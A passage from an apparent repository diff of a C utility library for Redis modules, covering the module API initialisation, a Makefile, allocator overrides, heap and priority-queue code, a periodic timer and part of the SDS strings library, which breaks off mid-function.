static int RedisModule_Init(RedisModuleCtx *ctx, const char *name, int ver, int apiver) __attribute__((unused));
static int RedisModule_Init(RedisModuleCtx *ctx, const char *name, int ver, int apiver) {
void *getapifuncptr = ((void**)ctx)[0];
RedisModule_GetApi = (int (*)(const char *, void *)) (unsigned long)getapifuncptr;
REDISMODULE_GET_API(Alloc);
REDISMODULE_GET_API(Calloc);
REDISMODULE_GET_API(Free);
REDISMODULE_GET_API(Realloc);
REDISMODULE_GET_API(Strdup);
REDISMODULE_GET_API(CreateCommand);
REDISMODULE_GET_API(SetModuleAttribs);
REDISMODULE_GET_API(IsModuleNameBusy);
REDISMODULE_GET_API(WrongArity);
REDISMODULE_GET_API(ReplyWithLongLong);
REDISMODULE_GET_API(ReplyWithError);
REDISMODULE_GET_API(ReplyWithSimpleString);
REDISMODULE_GET_API(ReplyWithArray);
REDISMODULE_GET_API(ReplySetArrayLength);
REDISMODULE_GET_API(ReplyWithStringBuffer);
REDISMODULE_GET_API(ReplyWithString);
REDISMODULE_GET_API(ReplyWithNull);
REDISMODULE_GET_API(ReplyWithCallReply);
REDISMODULE_GET_API(ReplyWithDouble);
REDISMODULE_GET_API(ReplySetArrayLength);
REDISMODULE_GET_API(GetSelectedDb);
REDISMODULE_GET_API(SelectDb);
REDISMODULE_GET_API(OpenKey);
REDISMODULE_GET_API(CloseKey);
REDISMODULE_GET_API(KeyType);
REDISMODULE_GET_API(ValueLength);
REDISMODULE_GET_API(ListPush);
REDISMODULE_GET_API(ListPop);
REDISMODULE_GET_API(StringToLongLong);
REDISMODULE_GET_API(StringToDouble);
REDISMODULE_GET_API(Call);
REDISMODULE_GET_API(CallReplyProto);
REDISMODULE_GET_API(FreeCallReply);
REDISMODULE_GET_API(CallReplyInteger);
REDISMODULE_GET_API(CallReplyType);
REDISMODULE_GET_API(CallReplyLength);
REDISMODULE_GET_API(CallReplyArrayElement);
REDISMODULE_GET_API(CallReplyStringPtr);
REDISMODULE_GET_API(CreateStringFromCallReply);
REDISMODULE_GET_API(CreateString);
REDISMODULE_GET_API(CreateStringFromLongLong);
REDISMODULE_GET_API(CreateStringFromString);
REDISMODULE_GET_API(CreateStringPrintf);
REDISMODULE_GET_API(FreeString);
REDISMODULE_GET_API(StringPtrLen);
REDISMODULE_GET_API(AutoMemory);
REDISMODULE_GET_API(Replicate);
REDISMODULE_GET_API(ReplicateVerbatim);
REDISMODULE_GET_API(DeleteKey);
REDISMODULE_GET_API(UnlinkKey);
REDISMODULE_GET_API(StringSet);
REDISMODULE_GET_API(StringDMA);
REDISMODULE_GET_API(StringTruncate);
REDISMODULE_GET_API(GetExpire);
REDISMODULE_GET_API(SetExpire);
REDISMODULE_GET_API(ZsetAdd);
REDISMODULE_GET_API(ZsetIncrby);
REDISMODULE_GET_API(ZsetScore);
REDISMODULE_GET_API(ZsetRem);
REDISMODULE_GET_API(ZsetRangeStop);
REDISMODULE_GET_API(ZsetFirstInScoreRange);
REDISMODULE_GET_API(ZsetLastInScoreRange);
REDISMODULE_GET_API(ZsetFirstInLexRange);
REDISMODULE_GET_API(ZsetLastInLexRange);
REDISMODULE_GET_API(ZsetRangeCurrentElement);
REDISMODULE_GET_API(ZsetRangeNext);
REDISMODULE_GET_API(ZsetRangePrev);
REDISMODULE_GET_API(ZsetRangeEndReached);
REDISMODULE_GET_API(HashSet);
REDISMODULE_GET_API(HashGet);
REDISMODULE_GET_API(IsKeysPositionRequest);
REDISMODULE_GET_API(KeyAtPos);
REDISMODULE_GET_API(GetClientId);
REDISMODULE_GET_API(GetContextFlags);
REDISMODULE_GET_API(PoolAlloc);
REDISMODULE_GET_API(CreateDataType);
REDISMODULE_GET_API(ModuleTypeSetValue);
REDISMODULE_GET_API(ModuleTypeGetType);
REDISMODULE_GET_API(ModuleTypeGetValue);
REDISMODULE_GET_API(SaveUnsigned);
REDISMODULE_GET_API(LoadUnsigned);
REDISMODULE_GET_API(SaveSigned);
REDISMODULE_GET_API(LoadSigned);
REDISMODULE_GET_API(SaveString);
REDISMODULE_GET_API(SaveStringBuffer);
REDISMODULE_GET_API(LoadString);
REDISMODULE_GET_API(LoadStringBuffer);
REDISMODULE_GET_API(SaveDouble);
REDISMODULE_GET_API(LoadDouble);
REDISMODULE_GET_API(SaveFloat);
REDISMODULE_GET_API(LoadFloat);
REDISMODULE_GET_API(EmitAOF);
REDISMODULE_GET_API(Log);
REDISMODULE_GET_API(LogIOError);
REDISMODULE_GET_API(StringAppendBuffer);
REDISMODULE_GET_API(RetainString);
REDISMODULE_GET_API(StringCompare);
REDISMODULE_GET_API(GetContextFromIO);
REDISMODULE_GET_API(Milliseconds);
REDISMODULE_GET_API(DigestAddStringBuffer);
REDISMODULE_GET_API(DigestAddLongLong);
REDISMODULE_GET_API(DigestEndSequence);
REDISMODULE_GET_API(CreateDict);
REDISMODULE_GET_API(FreeDict);
REDISMODULE_GET_API(DictSize);
REDISMODULE_GET_API(DictSetC);
REDISMODULE_GET_API(DictReplaceC);
REDISMODULE_GET_API(DictSet);
REDISMODULE_GET_API(DictReplace);
REDISMODULE_GET_API(DictGetC);
REDISMODULE_GET_API(DictGet);
REDISMODULE_GET_API(DictDelC);
REDISMODULE_GET_API(DictDel);
REDISMODULE_GET_API(DictIteratorStartC);
REDISMODULE_GET_API(DictIteratorStart);
REDISMODULE_GET_API(DictIteratorStop);
REDISMODULE_GET_API(DictIteratorReseekC);
REDISMODULE_GET_API(DictIteratorReseek);
REDISMODULE_GET_API(DictNextC);
REDISMODULE_GET_API(DictPrevC);
REDISMODULE_GET_API(DictNext);
REDISMODULE_GET_API(DictPrev);
REDISMODULE_GET_API(DictCompare);
REDISMODULE_GET_API(DictCompareC);
#ifdef REDISMODULE_EXPERIMENTAL_API
REDISMODULE_GET_API(GetThreadSafeContext);
REDISMODULE_GET_API(FreeThreadSafeContext);
REDISMODULE_GET_API(ThreadSafeContextLock);
REDISMODULE_GET_API(ThreadSafeContextUnlock);
REDISMODULE_GET_API(BlockClient);
REDISMODULE_GET_API(UnblockClient);
REDISMODULE_GET_API(IsBlockedReplyRequest);
REDISMODULE_GET_API(IsBlockedTimeoutRequest);
REDISMODULE_GET_API(GetBlockedClientPrivateData);
REDISMODULE_GET_API(GetBlockedClientHandle);
REDISMODULE_GET_API(AbortBlock);
REDISMODULE_GET_API(SetDisconnectCallback);
REDISMODULE_GET_API(SubscribeToKeyspaceEvents);
REDISMODULE_GET_API(BlockedClientDisconnected);
REDISMODULE_GET_API(RegisterClusterMessageReceiver);
REDISMODULE_GET_API(SendClusterMessage);
REDISMODULE_GET_API(GetClusterNodeInfo);
REDISMODULE_GET_API(GetClusterNodesList);
REDISMODULE_GET_API(FreeClusterNodesList);
REDISMODULE_GET_API(CreateTimer);
REDISMODULE_GET_API(StopTimer);
REDISMODULE_GET_API(GetTimerInfo);
REDISMODULE_GET_API(GetMyClusterID);
REDISMODULE_GET_API(GetClusterSize);
REDISMODULE_GET_API(GetRandomBytes);
REDISMODULE_GET_API(GetRandomHexChars);
REDISMODULE_GET_API(SetClusterFlags);
#endif
if (RedisModule_IsModuleNameBusy && RedisModule_IsModuleNameBusy(name)) return REDISMODULE_ERR;
RedisModule_SetModuleAttribs(ctx,name,ver,apiver);
return REDISMODULE_OK;
}
#else
/* Things only defined for the modules core, not exported to modules
* including this file. */
#define RedisModuleString robj
#endif /* REDISMODULE_CORE */
#endif /* REDISMOUDLE_H */
+31
View File
@@ -0,0 +1,31 @@
# set environment variable RM_INCLUDE_DIR to the location of redismodule.h
ifndef RM_INCLUDE_DIR
RM_INCLUDE_DIR=../
endif
CFLAGS ?= -g -fPIC -O3 -std=gnu99 -Wall -Wno-unused-function
CFLAGS += -I$(RM_INCLUDE_DIR)
CC=gcc
OBJS=util.o strings.o sds.o vector.o alloc.o periodic.o
all: librmutil.a
clean:
rm -rf *.o *.a
librmutil.a: $(OBJS)
ar rcs $@ $^
test_vector: test_vector.o vector.o
$(CC) -Wall -o $@ $^ -lc -lpthread -O0
@(sh -c ./$@)
.PHONY: test_vector
test_periodic: test_periodic.o periodic.o
$(CC) -Wall -o $@ $^ -lc -lpthread -O0
@(sh -c ./$@)
.PHONY: test_periodic
test: test_periodic test_vector
.PHONY: test
+32
View File
@@ -0,0 +1,32 @@
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include "alloc.h"
/* A patched implementation of strdup that will use our patched calloc */
char *rmalloc_strndup(const char *s, size_t n) {
char *ret = calloc(n + 1, sizeof(char));
if (ret)
memcpy(ret, s, n);
return ret;
}
/*
* Re-patching RedisModule_Alloc and friends to the original malloc functions
*
* This function should be called if you are working with malloc-patched code
* outside of redis, usually for unit tests. Call it once when entering your unit
* tests' main().
*
* Since including "alloc.h" while defining REDIS_MODULE_TARGET
* replaces all malloc functions in redis with the RM_Alloc family of functions,
* when running that code outside of redis, your app will crash. This function
* patches the RM_Alloc functions back to the original mallocs. */
void RMUTil_InitAlloc() {
RedisModule_Alloc = malloc;
RedisModule_Realloc = realloc;
RedisModule_Calloc = calloc;
RedisModule_Free = free;
RedisModule_Strdup = strdup;
}
+51
View File
@@ -0,0 +1,51 @@
#ifndef __RMUTIL_ALLOC__
#define __RMUTIL_ALLOC__
/* Automatic Redis Module Allocation functions monkey-patching.
*
* Including this file while REDIS_MODULE_TARGET is defined, will explicitly
* override malloc, calloc, realloc & free with RedisModule_Alloc,
* RedisModule_Callc, etc implementations, that allow Redis better control and
* reporting over allocations per module.
*
* You should include this file in all c files AS THE LAST INCLUDED FILE
*
* This only has effect when when compiling with the macro REDIS_MODULE_TARGET
* defined. The idea is that for unit tests it will not be defined, but for the
* module build target it will be.
*
*/
#include <stdlib.h>
#include <redismodule.h>
char *rmalloc_strndup(const char *s, size_t n);
#ifdef REDIS_MODULE_TARGET /* Set this when compiling your code as a module */
#define malloc(size) RedisModule_Alloc(size)
#define calloc(count, size) RedisModule_Calloc(count, size)
#define realloc(ptr, size) RedisModule_Realloc(ptr, size)
#define free(ptr) RedisModule_Free(ptr)
#ifdef strdup
#undef strdup
#endif
#define strdup(ptr) RedisModule_Strdup(ptr)
/* More overriding */
// needed to avoid calling strndup->malloc
#ifdef strndup
#undef strndup
#endif
#define strndup(s, n) rmalloc_strndup(s, n)
#else
#endif /* REDIS_MODULE_TARGET */
/* This function should be called if you are working with malloc-patched code
* outside of redis, usually for unit tests. Call it once when entering your unit
* tests' main() */
void RMUTil_InitAlloc();
#endif /* __RMUTIL_ALLOC__ */
+107
View File
@@ -0,0 +1,107 @@
#include "heap.h"
/* Byte-wise swap two items of size SIZE. */
#define SWAP(a, b, size) \
do \
{ \
register size_t __size = (size); \
register char *__a = (a), *__b = (b); \
do \
{ \
char __tmp = *__a; \
*__a++ = *__b; \
*__b++ = __tmp; \
} while (--__size > 0); \
} while (0)
inline char *__vector_GetPtr(Vector *v, size_t pos) {
return v->data + (pos * v->elemSize);
}
void __sift_up(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *)) {
size_t len = last - first;
if (len > 1) {
len = (len - 2) / 2;
size_t ptr = first + len;
if (cmp(__vector_GetPtr(v, ptr), __vector_GetPtr(v, --last)) < 0) {
char t[v->elemSize];
memcpy(t, __vector_GetPtr(v, last), v->elemSize);
do {
memcpy(__vector_GetPtr(v, last), __vector_GetPtr(v, ptr), v->elemSize);
last = ptr;
if (len == 0)
break;
len = (len - 1) / 2;
ptr = first + len;
} while (cmp(__vector_GetPtr(v, ptr), t) < 0);
memcpy(__vector_GetPtr(v, last), t, v->elemSize);
}
}
}
void __sift_down(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *), size_t start) {
// left-child of __start is at 2 * __start + 1
// right-child of __start is at 2 * __start + 2
size_t len = last - first;
size_t child = start - first;
if (len < 2 || (len - 2) / 2 < child)
return;
child = 2 * child + 1;
if ((child + 1) < len && cmp(__vector_GetPtr(v, first + child), __vector_GetPtr(v, first + child + 1)) < 0) {
// right-child exists and is greater than left-child
++child;
}
// check if we are in heap-order
if (cmp(__vector_GetPtr(v, first + child), __vector_GetPtr(v, start)) < 0)
// we are, __start is larger than it's largest child
return;
char top[v->elemSize];
memcpy(top, __vector_GetPtr(v, start), v->elemSize);
do {
// we are not in heap-order, swap the parent with it's largest child
memcpy(__vector_GetPtr(v, start), __vector_GetPtr(v, first + child), v->elemSize);
start = first + child;
if ((len - 2) / 2 < child)
break;
// recompute the child based off of the updated parent
child = 2 * child + 1;
if ((child + 1) < len && cmp(__vector_GetPtr(v, first + child), __vector_GetPtr(v, first + child + 1)) < 0) {
// right-child exists and is greater than left-child
++child;
}
// check if we are in heap-order
} while (cmp(__vector_GetPtr(v, first + child), top) >= 0);
memcpy(__vector_GetPtr(v, start), top, v->elemSize);
}
void Make_Heap(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *)) {
if (last - first > 1) {
// start from the first parent, there is no need to consider children
for (int start = (last - first - 2) / 2; start >= 0; --start) {
__sift_down(v, first, last, cmp, first + start);
}
}
}
inline void Heap_Push(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *)) {
__sift_up(v, first, last, cmp);
}
inline void Heap_Pop(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *)) {
if (last - first > 1) {
SWAP(__vector_GetPtr(v, first), __vector_GetPtr(v, --last), v->elemSize);
__sift_down(v, first, last, cmp, first);
}
}
+38
View File
@@ -0,0 +1,38 @@
#ifndef __HEAP_H__
#define __HEAP_H__
#include "vector.h"
/* Make heap from range
* Rearranges the elements in the range [first,last) in such a way that they form a heap.
* A heap is a way to organize the elements of a range that allows for fast retrieval of the element with the highest
* value at any moment (with pop_heap), even repeatedly, while allowing for fast insertion of new elements (with
* push_heap).
* The element with the highest value is always pointed by first. The order of the other elements depends on the
* particular implementation, but it is consistent throughout all heap-related functions of this header.
* The elements are compared using cmp.
*/
void Make_Heap(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *));
/* Push element into heap range
* Given a heap in the range [first,last-1), this function extends the range considered a heap to [first,last) by
* placing the value in (last-1) into its corresponding location within it.
* A range can be organized into a heap by calling make_heap. After that, its heap properties are preserved if elements
* are added and removed from it using push_heap and pop_heap, respectively.
*/
void Heap_Push(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *));
/* Pop element from heap range
* Rearranges the elements in the heap range [first,last) in such a way that the part considered a heap is shortened
* by one: The element with the highest value is moved to (last-1).
* While the element with the highest value is moved from first to (last-1) (which now is out of the heap), the other
* elements are reorganized in such a way that the range [first,last-1) preserves the properties of a heap.
* A range can be organized into a heap by calling make_heap. After that, its heap properties are preserved if elements
* are added and removed from it using push_heap and pop_heap, respectively.
*/
void Heap_Pop(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *));
#endif //__HEAP_H__
+11
View File
@@ -0,0 +1,11 @@
#ifndef __RMUTIL_LOGGING_H__
#define __RMUTIL_LOGGING_H__
/* Convenience macros for redis logging */
#define RM_LOG_DEBUG(ctx, ...) RedisModule_Log(ctx, "debug", __VA_ARGS__)
#define RM_LOG_VERBOSE(ctx, ...) RedisModule_Log(ctx, "verbose", __VA_ARGS__)
#define RM_LOG_NOTICE(ctx, ...) RedisModule_Log(ctx, "notice", __VA_ARGS__)
#define RM_LOG_WARNING(ctx, ...) RedisModule_Log(ctx, "warning", __VA_ARGS__)
#endif
+88
View File
@@ -0,0 +1,88 @@
#define REDISMODULE_EXPERIMENTAL_API
#include "periodic.h"
#include <pthread.h>
#include <stdlib.h>
#include <errno.h>
typedef struct RMUtilTimer {
RMutilTimerFunc cb;
RMUtilTimerTerminationFunc onTerm;
void *privdata;
struct timespec interval;
pthread_t thread;
pthread_mutex_t lock;
pthread_cond_t cond;
} RMUtilTimer;
static struct timespec timespecAdd(struct timespec *a, struct timespec *b) {
struct timespec ret;
ret.tv_sec = a->tv_sec + b->tv_sec;
long long ns = a->tv_nsec + b->tv_nsec;
ret.tv_sec += ns / 1000000000;
ret.tv_nsec = ns % 1000000000;
return ret;
}
static void *rmutilTimer_Loop(void *ctx) {
RMUtilTimer *tm = ctx;
int rc = ETIMEDOUT;
struct timespec ts;
pthread_mutex_lock(&tm->lock);
while (rc != 0) {
clock_gettime(CLOCK_REALTIME, &ts);
struct timespec timeout = timespecAdd(&ts, &tm->interval);
if ((rc = pthread_cond_timedwait(&tm->cond, &tm->lock, &timeout)) == ETIMEDOUT) {
// Create a thread safe context if we're running inside redis
RedisModuleCtx *rctx = NULL;
if (RedisModule_GetThreadSafeContext) rctx = RedisModule_GetThreadSafeContext(NULL);
// call our callback...
tm->cb(rctx, tm->privdata);
// If needed - free the thread safe context.
// It's up to the user to decide whether automemory is active there
if (rctx) RedisModule_FreeThreadSafeContext(rctx);
}
if (rc == EINVAL) {
perror("Error waiting for condition");
break;
}
}
// call the termination callback if needed
if (tm->onTerm != NULL) {
tm->onTerm(tm->privdata);
}
// free resources associated with the timer
pthread_cond_destroy(&tm->cond);
free(tm);
return NULL;
}
/* set a new frequency for the timer. This will take effect AFTER the next trigger */
void RMUtilTimer_SetInterval(struct RMUtilTimer *t, struct timespec newInterval) {
t->interval = newInterval;
}
RMUtilTimer *RMUtil_NewPeriodicTimer(RMutilTimerFunc cb, RMUtilTimerTerminationFunc onTerm,
void *privdata, struct timespec interval) {
RMUtilTimer *ret = malloc(sizeof(*ret));
*ret = (RMUtilTimer){
.privdata = privdata, .interval = interval, .cb = cb, .onTerm = onTerm,
};
pthread_cond_init(&ret->cond, NULL);
pthread_mutex_init(&ret->lock, NULL);
pthread_create(&ret->thread, NULL, rmutilTimer_Loop, ret);
return ret;
}
int RMUtilTimer_Terminate(struct RMUtilTimer *t) {
return pthread_cond_signal(&t->cond);
}
+46
View File
@@ -0,0 +1,46 @@
#ifndef RMUTIL_PERIODIC_H_
#define RMUTIL_PERIODIC_H_
#include <time.h>
#include <redismodule.h>
/** periodic.h - Utility periodic timer running a task repeatedly every given time interval */
/* RMUtilTimer - opaque context for the timer */
struct RMUtilTimer;
/* RMutilTimerFunc - callback type for timer tasks. The ctx is a thread-safe redis module context
* that should be locked/unlocked by the callback when running stuff against redis. privdata is
* pre-existing private data */
typedef void (*RMutilTimerFunc)(RedisModuleCtx *ctx, void *privdata);
typedef void (*RMUtilTimerTerminationFunc)(void *privdata);
/* Create and start a new periodic timer. Each timer has its own thread and can only be run and
* stopped once. The timer runs `cb` every `interval` with `privdata` passed to the callback. */
struct RMUtilTimer *RMUtil_NewPeriodicTimer(RMutilTimerFunc cb, RMUtilTimerTerminationFunc onTerm,
void *privdata, struct timespec interval);
/* set a new frequency for the timer. This will take effect AFTER the next trigger */
void RMUtilTimer_SetInterval(struct RMUtilTimer *t, struct timespec newInterval);
/* Stop the timer loop, call the termination callbck to free up any resources linked to the timer,
* and free the timer after stopping.
*
* This function doesn't wait for the thread to terminate, as it may cause a race condition if the
* timer's callback is waiting for the redis global lock.
* Instead you should make sure any resources are freed by the callback after the thread loop is
* finished.
*
* The timer is freed automatically, so the callback doesn't need to do anything about it.
* The callback gets the timer's associated privdata as its argument.
*
* If no callback is specified we do not free up privdata. If privdata is NULL we still call the
* callback, as it may log stuff or free global resources.
*/
int RMUtilTimer_Terminate(struct RMUtilTimer *t);
/* DEPRECATED - do not use this function (well now you can't), use terminate instead
Free the timer context. The caller should be responsible for freeing the private data at this
* point */
// void RMUtilTimer_Free(struct RMUtilTimer *t);
#endif
@@ -0,0 +1,36 @@
#include "priority_queue.h"
#include "heap.h"
PriorityQueue *__newPriorityQueueSize(size_t elemSize, size_t cap, int (*cmp)(void *, void *)) {
PriorityQueue *pq = malloc(sizeof(PriorityQueue));
pq->v = __newVectorSize(elemSize, cap);
pq->cmp = cmp;
return pq;
}
inline size_t Priority_Queue_Size(PriorityQueue *pq) {
return Vector_Size(pq->v);
}
inline int Priority_Queue_Top(PriorityQueue *pq, void *ptr) {
return Vector_Get(pq->v, 0, ptr);
}
inline size_t __priority_Queue_PushPtr(PriorityQueue *pq, void *elem) {
size_t top = __vector_PushPtr(pq->v, elem);
Heap_Push(pq->v, 0, top, pq->cmp);
return top;
}
inline void Priority_Queue_Pop(PriorityQueue *pq) {
if (pq->v->top == 0) {
return;
}
Heap_Pop(pq->v, 0, pq->v->top, pq->cmp);
pq->v->top--;
}
void Priority_Queue_Free(PriorityQueue *pq) {
Vector_Free(pq->v);
free(pq);
}
@@ -0,0 +1,55 @@
#ifndef __PRIORITY_QUEUE_H__
#define __PRIORITY_QUEUE_H__
#include "vector.h"
/* Priority queue
* Priority queues are designed such that its first element is always the greatest of the elements it contains.
* This context is similar to a heap, where elements can be inserted at any moment, and only the max heap element can be
* retrieved (the one at the top in the priority queue).
* Priority queues are implemented as Vectors. Elements are popped from the "back" of Vector, which is known as the top
* of the priority queue.
*/
typedef struct {
Vector *v;
int (*cmp)(void *, void *);
} PriorityQueue;
/* Construct priority queue
* Constructs a priority_queue container adaptor object.
*/
PriorityQueue *__newPriorityQueueSize(size_t elemSize, size_t cap, int (*cmp)(void *, void *));
#define NewPriorityQueue(type, cap, cmp) __newPriorityQueueSize(sizeof(type), cap, cmp)
/* Return size
* Returns the number of elements in the priority_queue.
*/
size_t Priority_Queue_Size(PriorityQueue *pq);
/* Access top element
* Copy the top element in the priority_queue to ptr.
* The top element is the element that compares higher in the priority_queue.
*/
int Priority_Queue_Top(PriorityQueue *pq, void *ptr);
/* Insert element
* Inserts a new element in the priority_queue.
*/
size_t __priority_Queue_PushPtr(PriorityQueue *pq, void *elem);
#define Priority_Queue_Push(pq, elem) __priority_Queue_PushPtr(pq, &(typeof(elem)){elem})
/* Remove top element
* Removes the element on top of the priority_queue, effectively reducing its size by one. The element removed is the
* one with the highest value.
* The value of this element can be retrieved before being popped by calling Priority_Queue_Top.
*/
void Priority_Queue_Pop(PriorityQueue *pq);
/* free the priority queue and the underlying data. Does not release its elements if
* they are pointers */
void Priority_Queue_Free(PriorityQueue *pq);
#endif //__PRIORITY_QUEUE_H__
+1274
View File
@@ -0,0 +1,1274 @@
/* SDSLib 2.0 -- A C dynamic strings library
*
* Copyright (c) 2006-2015, Salvatore Sanfilippo <antirez at gmail dot com>
* Copyright (c) 2015, Oran Agra
* Copyright (c) 2015, Redis Labs, Inc
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of Redis nor the names of its contributors may be used
* to endorse or promote products derived from this software without
* specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <assert.h>
#include "sds.h"
#include "sdsalloc.h"
static inline int sdsHdrSize(char type) {
switch(type&SDS_TYPE_MASK) {
case SDS_TYPE_5:
return sizeof(struct sdshdr5);
case SDS_TYPE_8:
return sizeof(struct sdshdr8);
case SDS_TYPE_16:
return sizeof(struct sdshdr16);
case SDS_TYPE_32:
return sizeof(struct sdshdr32);
case SDS_TYPE_64:
return sizeof(struct sdshdr64);
}
return 0;
}
static inline char sdsReqType(size_t string_size) {
if (string_size < 32)
return SDS_TYPE_5;
if (string_size < 0xff)
return SDS_TYPE_8;
if (string_size < 0xffff)
return SDS_TYPE_16;
if (string_size < 0xffffffff)
return SDS_TYPE_32;
return SDS_TYPE_64;
}
/* Create a new sds string with the content specified by the 'init' pointer
* and 'initlen'.
* If NULL is used for 'init' the string is initialized with zero bytes.
*
* The string is always null-termined (all the sds strings are, always) so
* even if you create an sds string with:
*
* mystring = sdsnewlen("abc",3);
*
* You can print the string with printf() as there is an implicit \0 at the
* end of the string. However the string is binary safe and can contain
* \0 characters in the middle, as the length is stored in the sds header. */
sds sdsnewlen(const void *init, size_t initlen) {
void *sh;
sds s;
char type = sdsReqType(initlen);
/* Empty strings are usually created in order to append. Use type 8
* since type 5 is not good at this. */
if (type == SDS_TYPE_5 && initlen == 0) type = SDS_TYPE_8;
int hdrlen = sdsHdrSize(type);
unsigned char *fp; /* flags pointer. */
sh = s_malloc(hdrlen+initlen+1);
if (!init)
memset(sh, 0, hdrlen+initlen+1);
if (sh == NULL) return NULL;
s = (char*)sh+hdrlen;
fp = ((unsigned char*)s)-1;
switch(type) {
case SDS_TYPE_5: {
*fp = type | (initlen << SDS_TYPE_BITS);
break;
}
case SDS_TYPE_8: {
SDS_HDR_VAR(8,s);
sh->len = initlen;
sh->alloc = initlen;
*fp = type;
break;
}
case SDS_TYPE_16: {
SDS_HDR_VAR(16,s);
sh->len = initlen;
sh->alloc = initlen;
*fp = type;
break;
}
case SDS_TYPE_32: {
SDS_HDR_VAR(32,s);
sh->len = initlen;
sh->alloc = initlen;
*fp = type;
break;
}
case SDS_TYPE_64: {
SDS_HDR_VAR(64,s);
sh->len = initlen;
sh->alloc = initlen;
*fp = type;
break;
}
}
if (initlen && init)
memcpy(s, init, initlen);
s[initlen] = '\0';
return s;
}
/* Create an empty (zero length) sds string. Even in this case the string
* always has an implicit null term. */
sds sdsempty(void) {
return sdsnewlen("",0);
}
/* Create a new sds string starting from a null terminated C string. */
sds sdsnew(const char *init) {
size_t initlen = (init == NULL) ? 0 : strlen(init);
return sdsnewlen(init, initlen);
}
/* Duplicate an sds string. */
sds sdsdup(const sds s) {
return sdsnewlen(s, sdslen(s));
}
/* Free an sds string. No operation is performed if 's' is NULL. */
void sdsfree(sds s) {
if (s == NULL) return;
s_free((char*)s-sdsHdrSize(s[-1]));
}
/* Set the sds string length to the length as obtained with strlen(), so
* considering as content only up to the first null term character.
*
* This function is useful when the sds string is hacked manually in some
* way, like in the following example:
*
* s = sdsnew("foobar");
* s[2] = '\0';
* sdsupdatelen(s);
* printf("%d\n", sdslen(s));
*
* The output will be "2", but if we comment out the call to sdsupdatelen()
* the output will be "6" as the string was modified but the logical length
* remains 6 bytes. */
void sdsupdatelen(sds s) {
int reallen = strlen(s);
sdssetlen(s, reallen);
}
/* Modify an sds string in-place to make it empty (zero length).
* However all the existing buffer is not discarded but set as free space
* so that next append operations will not require allocations up to the
* number of bytes previously available. */
void sdsclear(sds s) {
sdssetlen(s, 0);
s[0] = '\0';
}
/* Enlarge the free space at the end of the sds string so that the caller
* is sure that after calling this function can overwrite up to addlen
* bytes after the end of the string, plus one more byte for nul term.
*
* Note: this does not change the *length* of the sds string as returned
* by sdslen(), but only the free buffer space we have. */
sds sdsMakeRoomFor(sds s, size_t addlen) {
void *sh, *newsh;
size_t avail = sdsavail(s);
size_t len, newlen;
char type, oldtype = s[-1] & SDS_TYPE_MASK;
int hdrlen;
/* Return ASAP if there is enough space left. */
if (avail >= addlen) return s;
len = sdslen(s);
sh = (char*)s-sdsHdrSize(oldtype);
newlen = (len+addlen);
if (newlen < SDS_MAX_PREALLOC)
newlen *= 2;
else
newlen += SDS_MAX_PREALLOC;
type = sdsReqType(newlen);
/* Don't use type 5: the user is appending to the string and type 5 is
* not able to remember empty space, so sdsMakeRoomFor() must be called
* at every appending operation. */
if (type == SDS_TYPE_5) type = SDS_TYPE_8;
hdrlen = sdsHdrSize(type);
if (oldtype==type) {
newsh = s_realloc(sh, hdrlen+newlen+1);
if (newsh == NULL) return NULL;
s = (char*)newsh+hdrlen;
} else {
/* Since the header size changes, need to move the string forward,
* and can't use realloc */
newsh = s_malloc(hdrlen+newlen+1);
if (newsh == NULL) return NULL;
memcpy((char*)newsh+hdrlen, s, len+1);
s_free(sh);
s = (char*)newsh+hdrlen;
s[-1] = type;
sdssetlen(s, len);
}
sdssetalloc(s, newlen);
return s;
}
/* Reallocate the sds string so that it has no free space at the end. The
* contained string remains not altered, but next concatenation operations
* will require a reallocation.
*
* After the call, the passed sds string is no longer valid and all the
* references must be substituted with the new pointer returned by the call. */
sds sdsRemoveFreeSpace(sds s) {
void *sh, *newsh;
char type, oldtype = s[-1] & SDS_TYPE_MASK;
int hdrlen;
size_t len = sdslen(s);
sh = (char*)s-sdsHdrSize(oldtype);
type = sdsReqType(len);
hdrlen = sdsHdrSize(type);
if (oldtype==type) {
newsh = s_realloc(sh, hdrlen+len+1);
if (newsh == NULL) return NULL;
s = (char*)newsh+hdrlen;
} else {
newsh = s_malloc(hdrlen+len+1);
if (newsh == NULL) return NULL;
memcpy((char*)newsh+hdrlen, s, len+1);
s_free(sh);
s = (char*)newsh+hdrlen;
s[-1] = type;
sdssetlen(s, len);
}
sdssetalloc(s, len);
return s;
}
/* Return the total size of the allocation of the specifed sds string,
* including:
* 1) The sds header before the pointer.
* 2) The string.
* 3) The free buffer at the end if any.
* 4) The implicit null term.
*/
size_t sdsAllocSize(sds s) {
size_t alloc = sdsalloc(s);
